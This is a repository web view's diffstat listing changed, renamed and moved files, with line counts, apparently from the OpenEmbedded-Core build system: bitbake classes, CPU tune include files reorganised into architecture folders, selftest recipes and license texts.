summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--MAINTAINERS.md72
-rw-r--r--README.OE-Core29
-rw-r--r--README.OE-Core.md29
l---------README.md1
-rw-r--r--README.qemu.md (renamed from README.qemu)0
-rwxr-xr-xcontrib/git-hooks/sendemail-validate.sample78
-rw-r--r--meta-selftest/classes/test-mkimage-wrapper.bbclass19
-rw-r--r--meta-selftest/conf/layer.conf2
-rw-r--r--meta-selftest/files/static-group13
-rw-r--r--meta-selftest/files/static-passwd8
-rw-r--r--meta-selftest/lib/pseudo_pyc_test1.py1
-rw-r--r--meta-selftest/lib/pseudo_pyc_test2.py1
-rw-r--r--meta-selftest/recipes-devtools/python/python-async-test.inc4
-rw-r--r--meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb19
-rw-r--r--meta-selftest/recipes-test/container-image/container-image-testpkg.bb2
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb4
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb2
-rw-r--r--meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded2
-rw-r--r--meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb3
-rw-r--r--meta-selftest/recipes-test/images/wic-image-minimal.bb5
-rw-r--r--meta-selftest/recipes-test/license/incompatible-license.bb2
-rw-r--r--meta-selftest/recipes-test/license/incompatible-licenses.bb2
-rw-r--r--meta-selftest/recipes-test/logging-test/logging-test.bb24
-rw-r--r--meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb8
-rw-r--r--meta-selftest/recipes-test/overlayfs-user/overlayfs-user.bb17
-rw-r--r--meta-selftest/recipes-test/poison/poison.bb16
-rw-r--r--meta-selftest/recipes-test/postinst/postinst_1.0.bb20
-rw-r--r--meta-selftest/recipes-test/pseudo-pyc-test/pseudo-pyc-test.bb15
-rw-r--r--meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb4
-rw-r--r--meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb2
-rw-r--r--meta-selftest/recipes-test/selftest-chown/selftest-chown.bb9
-rw-r--r--meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb6
-rw-r--r--meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb4
-rw-r--r--meta-selftest/recipes-test/systemd-machine-units/systemd-machine-units_%.bbappend2
-rw-r--r--meta-selftest/wic/overlayfs_etc.wks.in4
-rw-r--r--meta-selftest/wic/test_efi_plugin.wks6
-rw-r--r--meta-selftest/wic/test_empty_plugin.wks4
-rw-r--r--meta-skeleton/README.skeleton4
-rw-r--r--meta-skeleton/conf/layer.conf2
-rw-r--r--meta-skeleton/conf/multilib-example.conf2
-rw-r--r--meta-skeleton/conf/multilib-example2.conf2
-rw-r--r--meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb17
-rw-r--r--meta-skeleton/recipes-core/busybox/busybox_%.bbappend5
-rw-r--r--meta-skeleton/recipes-kernel/hello-mod/files/hello.c10
-rw-r--r--meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb3
-rw-r--r--meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb4
-rw-r--r--meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb5
-rw-r--r--meta-skeleton/recipes-skeleton/hello-autotools/hello_2.10.bb9
-rw-r--r--meta-skeleton/recipes-skeleton/hello-single/files/helloworld.c8
-rw-r--r--meta-skeleton/recipes-skeleton/hello-single/hello_1.0.bb17
-rw-r--r--meta-skeleton/recipes-skeleton/libxpm/libxpm_3.5.6.bb14
-rw-r--r--meta-skeleton/recipes-skeleton/service/service_0.1.bb5
-rw-r--r--meta-skeleton/recipes-skeleton/useradd/useradd-example.bb12
-rw-r--r--meta/classes/archiver.bbclass25
-rw-r--r--meta/classes/autotools.bbclass30
-rw-r--r--meta/classes/baremetal-image.bbclass38
-rw-r--r--meta/classes/base.bbclass99
-rw-r--r--meta/classes/bash-completion.bbclass6
-rw-r--r--meta/classes/bin_package.bbclass2
-rw-r--r--meta/classes/binconfig-disabled.bbclass4
-rw-r--r--meta/classes/binconfig.bbclass2
-rw-r--r--meta/classes/buildhistory.bbclass111
-rw-r--r--meta/classes/buildstats.bbclass84
-rw-r--r--meta/classes/cargo.bbclass89
-rw-r--r--meta/classes/cargo_common.bbclass125
-rw-r--r--meta/classes/ccache.bbclass6
-rw-r--r--meta/classes/clutter.bbclass18
-rw-r--r--meta/classes/cmake.bbclass24
-rw-r--r--meta/classes/compress_doc.bbclass6
-rw-r--r--meta/classes/core-image.bbclass4
-rw-r--r--meta/classes/cpan-base.bbclass15
-rw-r--r--meta/classes/cpan.bbclass4
-rw-r--r--meta/classes/crate-fetch.bbclass28
-rw-r--r--meta/classes/create-spdx.bbclass956
-rw-r--r--meta/classes/cross-canadian.bbclass14
-rw-r--r--meta/classes/cross.bbclass8
-rw-r--r--meta/classes/cve-check.bbclass105
-rw-r--r--meta/classes/debian.bbclass18
-rw-r--r--meta/classes/devicetree.bbclass4
-rw-r--r--meta/classes/devshell.bbclass11
-rw-r--r--meta/classes/devupstream.bbclass24
-rw-r--r--meta/classes/distrooverrides.bbclass6
-rw-r--r--meta/classes/distutils-common-base.bbclass6
-rw-r--r--meta/classes/distutils3-base.bbclass5
-rw-r--r--meta/classes/distutils3.bbclass12
-rw-r--r--meta/classes/externalsrc.bbclass37
-rw-r--r--meta/classes/extrausers.bbclass4
-rw-r--r--meta/classes/features_check.bbclass4
-rw-r--r--meta/classes/fontcache.bbclass10
-rw-r--r--meta/classes/gconf.bbclass12
-rw-r--r--meta/classes/gettext.bbclass6
-rw-r--r--meta/classes/gi-docgen.bbclass24
-rw-r--r--meta/classes/gio-module-cache.bbclass10
-rw-r--r--meta/classes/glide.bbclass4
-rw-r--r--meta/classes/gnomebase.bbclass9
-rw-r--r--meta/classes/go-mod.bbclass2
-rw-r--r--meta/classes/go-ptest.bbclass2
-rw-r--r--meta/classes/go.bbclass54
-rw-r--r--meta/classes/goarch.bbclass63
-rw-r--r--meta/classes/gobject-introspection.bbclass28
-rw-r--r--meta/classes/godep.bbclass8
-rw-r--r--meta/classes/grub-efi-cfg.bbclass1
-rw-r--r--meta/classes/gsettings.bbclass14
-rw-r--r--meta/classes/gtk-doc.bbclass21
-rw-r--r--meta/classes/gtk-icon-cache.bbclass18
-rw-r--r--meta/classes/gtk-immodules-cache.bbclass10
-rw-r--r--meta/classes/icecc.bbclass26
-rw-r--r--meta/classes/image-artifact-names.bbclass9
-rw-r--r--meta/classes/image-combined-dbg.bbclass2
-rw-r--r--meta/classes/image-container.bbclass2
-rw-r--r--meta/classes/image-live.bbclass12
-rw-r--r--meta/classes/image-mklibs.bbclass56
-rw-r--r--meta/classes/image-prelink.bbclass15
-rw-r--r--meta/classes/image.bbclass81
-rw-r--r--meta/classes/image_types.bbclass141
-rw-r--r--meta/classes/image_types_wic.bbclass53
-rw-r--r--meta/classes/insane.bbclass376
-rw-r--r--meta/classes/kernel-artifact-names.bbclass5
-rw-r--r--meta/classes/kernel-devicetree.bbclass54
-rw-r--r--meta/classes/kernel-fitimage.bbclass525
-rw-r--r--meta/classes/kernel-grub.bbclass4
-rw-r--r--meta/classes/kernel-module-split.bbclass65
-rw-r--r--meta/classes/kernel-uboot.bbclass6
-rw-r--r--meta/classes/kernel-yocto.bbclass90
-rw-r--r--meta/classes/kernel.bbclass170
-rw-r--r--meta/classes/libc-package.bbclass34
-rw-r--r--meta/classes/license.bbclass61
-rw-r--r--meta/classes/license_image.bbclass54
-rw-r--r--meta/classes/linux-dummy.bbclass26
-rw-r--r--meta/classes/linuxloader.bbclass14
-rw-r--r--meta/classes/manpages.bbclass11
-rw-r--r--meta/classes/meson-routines.bbclass51
-rw-r--r--meta/classes/meson.bbclass166
-rw-r--r--meta/classes/meta.bbclass4
-rw-r--r--meta/classes/metadata_scm.bbclass8
-rw-r--r--meta/classes/mime-xdg.bbclass12
-rw-r--r--meta/classes/mime.bbclass12
-rw-r--r--meta/classes/mirrors.bbclass136
-rw-r--r--meta/classes/module.bbclass6
-rw-r--r--meta/classes/multilib.bbclass14
-rw-r--r--meta/classes/multilib_global.bbclass79
-rw-r--r--meta/classes/multilib_header.bbclass4
-rw-r--r--meta/classes/multilib_script.bbclass4
-rw-r--r--meta/classes/native.bbclass35
-rw-r--r--meta/classes/nativesdk.bbclass6
-rw-r--r--meta/classes/npm.bbclass68
-rw-r--r--meta/classes/overlayfs-etc.bbclass76
-rw-r--r--meta/classes/overlayfs.bbclass118
-rw-r--r--meta/classes/own-mirrors.bbclass25
-rw-r--r--meta/classes/package.bbclass238
-rw-r--r--meta/classes/package_deb.bbclass8
-rw-r--r--meta/classes/package_ipk.bbclass12
-rw-r--r--meta/classes/package_pkgdata.bbclass2
-rw-r--r--meta/classes/package_rpm.bbclass61
-rw-r--r--meta/classes/packagedata.bbclass4
-rw-r--r--meta/classes/packagegroup.bbclass2
-rw-r--r--meta/classes/patch.bbclass10
-rw-r--r--meta/classes/pixbufcache.bbclass16
-rw-r--r--meta/classes/pkgconfig.bbclass2
-rw-r--r--meta/classes/populate_sdk_base.bbclass34
-rw-r--r--meta/classes/populate_sdk_ext.bbclass121
-rw-r--r--meta/classes/ptest-gnome.bbclass6
-rw-r--r--meta/classes/ptest-perl.bbclass6
-rw-r--r--meta/classes/ptest.bbclass39
-rw-r--r--meta/classes/pypi.bbclass8
-rw-r--r--meta/classes/python3-dir.bbclass2
-rw-r--r--meta/classes/python3native.bbclass2
-rw-r--r--meta/classes/python3targetconfig.bbclass10
-rw-r--r--meta/classes/qemu.bbclass4
-rw-r--r--meta/classes/qemuboot.bbclass23
-rw-r--r--meta/classes/report-error.bbclass2
-rw-r--r--meta/classes/reproducible_build.bbclass118
-rw-r--r--meta/classes/reproducible_build_simple.bbclass9
-rw-r--r--meta/classes/rm_work.bbclass12
-rw-r--r--meta/classes/rm_work_and_downloads.bbclass2
-rw-r--r--meta/classes/rootfs-postcommands.bbclass35
-rw-r--r--meta/classes/rootfs_deb.bbclass4
-rw-r--r--meta/classes/rootfs_ipk.bbclass4
-rw-r--r--meta/classes/rootfs_rpm.bbclass2
-rw-r--r--meta/classes/rust-bin.bbclass149
-rw-r--r--meta/classes/rust-common.bbclass181
-rw-r--r--meta/classes/rust.bbclass45
-rw-r--r--meta/classes/sanity.bbclass88
-rw-r--r--meta/classes/scons.bbclass8
-rw-r--r--meta/classes/sign_package_feed.bbclass2
-rw-r--r--meta/classes/siteinfo.bbclass34
-rw-r--r--meta/classes/sstate.bbclass277
-rw-r--r--meta/classes/staging.bbclass27
-rw-r--r--meta/classes/systemd-boot.bbclass2
-rw-r--r--meta/classes/systemd.bbclass49
-rw-r--r--meta/classes/terminal.bbclass5
-rw-r--r--meta/classes/testimage.bbclass47
-rw-r--r--meta/classes/texinfo.bbclass12
-rw-r--r--meta/classes/toaster.bbclass2
-rw-r--r--meta/classes/toolchain-scripts.bbclass10
-rw-r--r--meta/classes/uboot-config.bbclass72
-rw-r--r--meta/classes/uboot-extlinux-config.bbclass3
-rw-r--r--meta/classes/uboot-sign.bbclass422
-rw-r--r--meta/classes/uninative.bbclass4
-rw-r--r--meta/classes/update-alternatives.bbclass40
-rw-r--r--meta/classes/update-rc.d.bbclass28
-rw-r--r--meta/classes/useradd-staticids.bbclass26
-rw-r--r--meta/classes/useradd.bbclass28
-rw-r--r--meta/classes/utility-tasks.bbclass2
-rw-r--r--meta/classes/utils.bbclass37
-rw-r--r--meta/classes/vala.bbclass8
-rw-r--r--meta/classes/waf.bbclass2
-rw-r--r--meta/classes/xmlcatalog.bbclass2
-rw-r--r--meta/conf/abi_version.conf2
-rw-r--r--meta/conf/bitbake.conf206
-rw-r--r--meta/conf/conf-notes.txt2
-rw-r--r--meta/conf/distro/include/cve-extra-exclusions.inc76
-rw-r--r--meta/conf/distro/include/default-distrovars.inc16
-rw-r--r--meta/conf/distro/include/default-providers.inc1
-rw-r--r--meta/conf/distro/include/default-versions.inc1
-rw-r--r--meta/conf/distro/include/distro_alias.inc765
-rw-r--r--meta/conf/distro/include/init-manager-mdev-busybox.inc2
-rw-r--r--meta/conf/distro/include/init-manager-systemd.inc5
-rw-r--r--meta/conf/distro/include/init-manager-sysvinit.inc4
-rw-r--r--meta/conf/distro/include/lto.inc44
-rw-r--r--meta/conf/distro/include/maintainers.inc1567
-rw-r--r--meta/conf/distro/include/no-static-libs.inc46
-rw-r--r--meta/conf/distro/include/ptest-packagelists.inc62
-rw-r--r--meta/conf/distro/include/rust_security_flags.inc7
-rw-r--r--meta/conf/distro/include/security_flags.inc64
-rw-r--r--meta/conf/distro/include/tclibc-baremetal.inc16
-rw-r--r--meta/conf/distro/include/tclibc-newlib.inc10
-rw-r--r--meta/conf/distro/include/tcmode-default.inc29
-rw-r--r--meta/conf/distro/include/uninative-flags.inc2
-rw-r--r--meta/conf/distro/include/yocto-uninative.inc11
-rw-r--r--meta/conf/documentation.conf7
-rw-r--r--meta/conf/image-uefi.conf15
-rw-r--r--meta/conf/layer.conf16
-rw-r--r--meta/conf/licenses.conf100
-rw-r--r--meta/conf/local.conf.sample20
-rw-r--r--meta/conf/local.conf.sample.extended43
-rw-r--r--meta/conf/machine-sdk/aarch64.conf2
-rw-r--r--meta/conf/machine-sdk/i586.conf2
-rw-r--r--meta/conf/machine-sdk/i686.conf2
-rw-r--r--meta/conf/machine-sdk/ppc64.conf2
-rw-r--r--meta/conf/machine-sdk/ppc64le.conf2
-rw-r--r--meta/conf/machine-sdk/x86_64.conf2
-rw-r--r--meta/conf/machine/include/README12
-rw-r--r--meta/conf/machine/include/arm/README2
-rw-r--r--meta/conf/machine/include/arm/arch-arm.inc6
-rw-r--r--meta/conf/machine/include/arm/arch-arm64.inc22
-rw-r--r--meta/conf/machine/include/arm/arch-armv4.inc26
-rw-r--r--meta/conf/machine/include/arm/arch-armv5-dsp.inc73
-rw-r--r--meta/conf/machine/include/arm/arch-armv5.inc74
-rw-r--r--meta/conf/machine/include/arm/arch-armv6.inc74
-rw-r--r--[-rwxr-xr-x]meta/conf/machine/include/arm/arch-armv6m.inc8
-rw-r--r--meta/conf/machine/include/arm/arch-armv7a.inc291
-rw-r--r--meta/conf/machine/include/arm/arch-armv7em.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv7m.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv7r.inc22
-rw-r--r--meta/conf/machine/include/arm/arch-armv7ve.inc290
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-1m-main.inc18
-rw-r--r--meta/conf/machine/include/arm/arch-armv8-2a.inc18
-rw-r--r--meta/conf/machine/include/arm/arch-armv8a.inc40
-rw-r--r--meta/conf/machine/include/arm/arch-armv8m-base.inc17
-rw-r--r--meta/conf/machine/include/arm/arch-armv8m-main.inc28
-rw-r--r--meta/conf/machine/include/arm/arch-armv8r.inc37
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-arm920t.inc13
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc13
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-ep9312.inc12
-rw-r--r--meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc12
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc13
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc (renamed from meta/conf/machine/include/tune-iwmmxt.inc)6
-rw-r--r--meta/conf/machine/include/arm/armv5/tune-xscale.inc19
-rw-r--r--meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc16
-rw-r--r--meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc17
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc11
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc11
-rw-r--r--meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa17.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa5.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa7.inc51
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc39
-rw-r--r--meta/conf/machine/include/arm/armv7a/tune-cortexa9.inc55
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc14
-rw-r--r--meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc13
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc13
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc14
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc17
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc19
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc21
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc16
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc19
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc8
-rw-r--r--meta/conf/machine/include/arm/armv8a/tune-thunderx.inc19
-rw-r--r--meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc14
-rw-r--r--meta/conf/machine/include/arm/feature-arm-crc.inc4
-rw-r--r--meta/conf/machine/include/arm/feature-arm-crypto.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-dsp.inc3
-rw-r--r--meta/conf/machine/include/arm/feature-arm-idiv.inc2
-rw-r--r--meta/conf/machine/include/arm/feature-arm-neon.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-simd.inc5
-rw-r--r--meta/conf/machine/include/arm/feature-arm-thumb.inc6
-rw-r--r--meta/conf/machine/include/m68k/arch-m68k.inc2
-rw-r--r--meta/conf/machine/include/m68k/tune-mcf5441x.inc13
-rw-r--r--meta/conf/machine/include/microblaze/tune-microblaze.inc8
-rw-r--r--meta/conf/machine/include/mips/README4
-rw-r--r--meta/conf/machine/include/mips/arch-mips.inc154
-rw-r--r--meta/conf/machine/include/mips/feature-mips-mips16e.inc2
-rw-r--r--meta/conf/machine/include/mips/qemuboot-mips.inc (renamed from meta/conf/machine/include/qemuboot-mips.inc)2
-rw-r--r--meta/conf/machine/include/mips/tune-mips-24k.inc38
-rw-r--r--meta/conf/machine/include/mips/tune-mips-74k.inc26
-rw-r--r--meta/conf/machine/include/mips/tune-mips32.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips32r2.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips32r6.inc29
-rw-r--r--meta/conf/machine/include/mips/tune-mips64.inc3
-rw-r--r--meta/conf/machine/include/mips/tune-mips64r2.inc84
-rw-r--r--meta/conf/machine/include/mips/tune-mips64r6.inc58
-rw-r--r--meta/conf/machine/include/mips/tune-octeon.inc32
-rw-r--r--meta/conf/machine/include/powerpc/README4
-rw-r--r--meta/conf/machine/include/powerpc/arch-powerpc.inc40
-rw-r--r--meta/conf/machine/include/powerpc/arch-powerpc64.inc19
-rw-r--r--meta/conf/machine/include/powerpc/tune-power5.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power6.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power7.inc24
-rw-r--r--meta/conf/machine/include/powerpc/tune-power9.inc31
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc476.inc14
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc603e.inc14
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppc7400.inc14
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce300c2.inc11
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce300c3.inc23
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500.inc (renamed from meta/conf/machine/include/tune-ppce500.inc)6
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500mc.inc (renamed from meta/conf/machine/include/tune-ppce500mc.inc)6
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce500v2.inc (renamed from meta/conf/machine/include/tune-ppce500v2.inc)6
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce5500.inc23
-rw-r--r--meta/conf/machine/include/powerpc/tune-ppce6500.inc24
-rw-r--r--meta/conf/machine/include/qemu.inc9
-rw-r--r--meta/conf/machine/include/qemuboot-x86.inc13
-rw-r--r--meta/conf/machine/include/riscv/arch-riscv.inc12
-rw-r--r--meta/conf/machine/include/riscv/qemuriscv.inc8
-rw-r--r--meta/conf/machine/include/riscv/tune-riscv.inc34
-rw-r--r--meta/conf/machine/include/sh/README4
-rw-r--r--meta/conf/machine/include/sh/arch-sh.inc4
-rw-r--r--meta/conf/machine/include/sh/tune-sh3.inc17
-rw-r--r--meta/conf/machine/include/sh/tune-sh4.inc34
-rw-r--r--meta/conf/machine/include/tune-arm1136jf-s.inc16
-rw-r--r--meta/conf/machine/include/tune-arm1176jz-s.inc17
-rw-r--r--meta/conf/machine/include/tune-arm920t.inc13
-rw-r--r--meta/conf/machine/include/tune-arm926ejs.inc13
-rw-r--r--meta/conf/machine/include/tune-arm9tdmi.inc13
-rw-r--r--meta/conf/machine/include/tune-atom.inc2
-rw-r--r--meta/conf/machine/include/tune-c3.inc12
-rw-r--r--meta/conf/machine/include/tune-core2.inc38
-rw-r--r--meta/conf/machine/include/tune-corei7.inc38
-rw-r--r--meta/conf/machine/include/tune-cortex-m0.inc11
-rw-r--r--meta/conf/machine/include/tune-cortex-m0plus.inc11
-rw-r--r--meta/conf/machine/include/tune-cortexa15.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa17.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa32.inc17
-rw-r--r--meta/conf/machine/include/tune-cortexa35.inc17
-rw-r--r--meta/conf/machine/include/tune-cortexa5.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa53.inc17
-rw-r--r--meta/conf/machine/include/tune-cortexa55.inc13
-rw-r--r--meta/conf/machine/include/tune-cortexa57-cortexa53.inc14
-rw-r--r--meta/conf/machine/include/tune-cortexa57.inc17
-rw-r--r--meta/conf/machine/include/tune-cortexa7.inc51
-rw-r--r--meta/conf/machine/include/tune-cortexa72-cortexa53.inc19
-rw-r--r--meta/conf/machine/include/tune-cortexa72.inc13
-rw-r--r--meta/conf/machine/include/tune-cortexa73-cortexa53.inc19
-rw-r--r--meta/conf/machine/include/tune-cortexa8.inc39
-rw-r--r--meta/conf/machine/include/tune-cortexa9.inc55
-rw-r--r--meta/conf/machine/include/tune-ep9312.inc12
-rw-r--r--meta/conf/machine/include/tune-i586-nlp.inc19
-rw-r--r--meta/conf/machine/include/tune-i586.inc14
-rw-r--r--meta/conf/machine/include/tune-i686.inc27
-rw-r--r--meta/conf/machine/include/tune-mcf5441x.inc13
-rw-r--r--meta/conf/machine/include/tune-microblaze.inc8
-rw-r--r--meta/conf/machine/include/tune-mips32.inc29
-rw-r--r--meta/conf/machine/include/tune-mips32r2.inc29
-rw-r--r--meta/conf/machine/include/tune-mips32r6.inc29
-rw-r--r--meta/conf/machine/include/tune-mips64.inc3
-rw-r--r--meta/conf/machine/include/tune-mips64r2.inc84
-rw-r--r--meta/conf/machine/include/tune-mips64r6.inc58
-rw-r--r--meta/conf/machine/include/tune-octeon.inc32
-rw-r--r--meta/conf/machine/include/tune-power5.inc24
-rw-r--r--meta/conf/machine/include/tune-power6.inc24
-rw-r--r--meta/conf/machine/include/tune-power7.inc24
-rw-r--r--meta/conf/machine/include/tune-power9.inc35
-rw-r--r--meta/conf/machine/include/tune-ppc476.inc14
-rw-r--r--meta/conf/machine/include/tune-ppc603e.inc14
-rw-r--r--meta/conf/machine/include/tune-ppc7400.inc14
-rw-r--r--meta/conf/machine/include/tune-ppce300c2.inc11
-rw-r--r--meta/conf/machine/include/tune-ppce300c3.inc23
-rw-r--r--meta/conf/machine/include/tune-ppce5500.inc23
-rw-r--r--meta/conf/machine/include/tune-ppce6500.inc24
-rw-r--r--meta/conf/machine/include/tune-sh3.inc17
-rw-r--r--meta/conf/machine/include/tune-sh4.inc34
-rw-r--r--meta/conf/machine/include/tune-strongarm1100.inc12
-rw-r--r--meta/conf/machine/include/tune-thunderx.inc19
-rw-r--r--meta/conf/machine/include/tune-xscale.inc19
-rw-r--r--meta/conf/machine/include/x86/README2
-rw-r--r--meta/conf/machine/include/x86/arch-x86.inc28
-rw-r--r--meta/conf/machine/include/x86/qemuboot-x86.inc14
-rw-r--r--meta/conf/machine/include/x86/tune-atom.inc2
-rw-r--r--meta/conf/machine/include/x86/tune-c3.inc12
-rw-r--r--meta/conf/machine/include/x86/tune-core2.inc38
-rw-r--r--meta/conf/machine/include/x86/tune-corei7.inc38
-rw-r--r--meta/conf/machine/include/x86/tune-i586-nlp.inc19
-rw-r--r--meta/conf/machine/include/x86/tune-i586.inc14
-rw-r--r--meta/conf/machine/include/x86/tune-i686.inc27
-rw-r--r--meta/conf/machine/include/x86/x86-base.inc (renamed from meta/conf/machine/include/x86-base.inc)2
-rw-r--r--meta/conf/machine/qemuarm.conf11
-rw-r--r--meta/conf/machine/qemuarm64.conf9
-rw-r--r--meta/conf/machine/qemuarmv5.conf11
-rw-r--r--meta/conf/machine/qemumips.conf6
-rw-r--r--meta/conf/machine/qemumips64.conf6
-rw-r--r--meta/conf/machine/qemuppc.conf2
-rw-r--r--meta/conf/machine/qemuppc64.conf24
-rw-r--r--meta/conf/machine/qemuriscv32.conf16
-rw-r--r--meta/conf/machine/qemux86-64.conf5
-rw-r--r--meta/conf/machine/qemux86.conf5
-rw-r--r--meta/conf/multilib.conf10
-rw-r--r--meta/conf/sanity.conf4
-rw-r--r--meta/files/common-licenses/0BSD5
-rw-r--r--meta/files/common-licenses/ADSL1
-rw-r--r--meta/files/common-licenses/AFL-1.127
-rw-r--r--meta/files/common-licenses/AGPL-1.0-only86
-rw-r--r--meta/files/common-licenses/AGPL-1.0-or-later86
-rw-r--r--meta/files/common-licenses/AGPL-3.0-only (renamed from meta/files/common-licenses/AGPL-3.0)0
-rw-r--r--meta/files/common-licenses/AGPL-3.0-or-later613
-rw-r--r--meta/files/common-licenses/AMDPLPA20
-rw-r--r--meta/files/common-licenses/AML9
-rw-r--r--meta/files/common-licenses/AMPAS13
-rw-r--r--meta/files/common-licenses/ANTLR-PD-fallback7
-rw-r--r--meta/files/common-licenses/APAFML3
-rw-r--r--meta/files/common-licenses/Abstyles11
-rw-r--r--meta/files/common-licenses/Adobe-200612
-rw-r--r--meta/files/common-licenses/Adobe-Glyph10
-rw-r--r--meta/files/common-licenses/Afmparse10
-rw-r--r--meta/files/common-licenses/Aladdin62
-rw-r--r--meta/files/common-licenses/Artistic-1.0-Perl51
-rw-r--r--meta/files/common-licenses/Artistic-1.0-cl851
-rw-r--r--meta/files/common-licenses/BSD-0-Clause12
-rw-r--r--meta/files/common-licenses/BSD-2-Clause-Views11
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Attribution11
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Clear32
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-LBNL12
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-Modification35
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Military-License16
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License14
-rw-r--r--meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-201416
